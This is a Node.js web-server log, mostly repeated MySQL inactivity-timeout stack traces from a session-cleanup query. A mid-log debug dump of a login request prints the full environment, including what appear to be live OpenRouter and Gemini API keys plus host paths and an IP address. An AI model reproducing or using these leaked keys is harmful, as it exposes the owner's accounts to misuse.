    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 04:14:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 05:34:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 05:34:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 06:20:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 06:20:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 07:34:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 07:34:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 09:10:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 09:10:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 13:34:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 13:34:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 17:27:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 17:27:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 18:33:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 18:33:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 19:29:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 19:29:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 20:36:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 20:36:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 22:06:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 22:06:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 00:00:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 00:00:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 00:08:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 00:08:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 00:45:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 00:45:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 01:41:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 01:41:33' as DATETIME)"
}
2026-05-31T01:47:38.980Z server-connect:router Serving templateView /
2026-05-31T01:47:38.982Z server-connect:app Executing action step identify
2026-05-31T01:47:38.982Z server-connect:app options: { provider: 'security' }
2026-05-31T01:47:38.982Z server-connect:auth No login cookie found
2026-05-31T01:47:38.982Z server-connect:output identity: false
2026-05-31T01:47:38.982Z server-connect:app Executing action step restrict
2026-05-31T01:47:38.982Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-31T01:47:38.983Z server-connect:output restrict: undefined
2026-05-31T01:47:39.099Z server-connect:router Serving templateView /login
2026-05-31T01:47:39.099Z server-connect:app Executing action step identify
2026-05-31T01:47:39.099Z server-connect:app options: { provider: 'security' }
2026-05-31T01:47:39.099Z server-connect:auth No login cookie found
2026-05-31T01:47:39.099Z server-connect:output identity: false
2026-05-31T01:47:39.099Z server-connect:router Render template layouts/authentication
2026-05-31T01:47:39.100Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '52.0.245.198',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-01T01:47:39.098Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.0.245.198',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '52.0.245.198',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 04:32:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 04:32:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 05:26:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-31 05:26:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-31 06:43:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
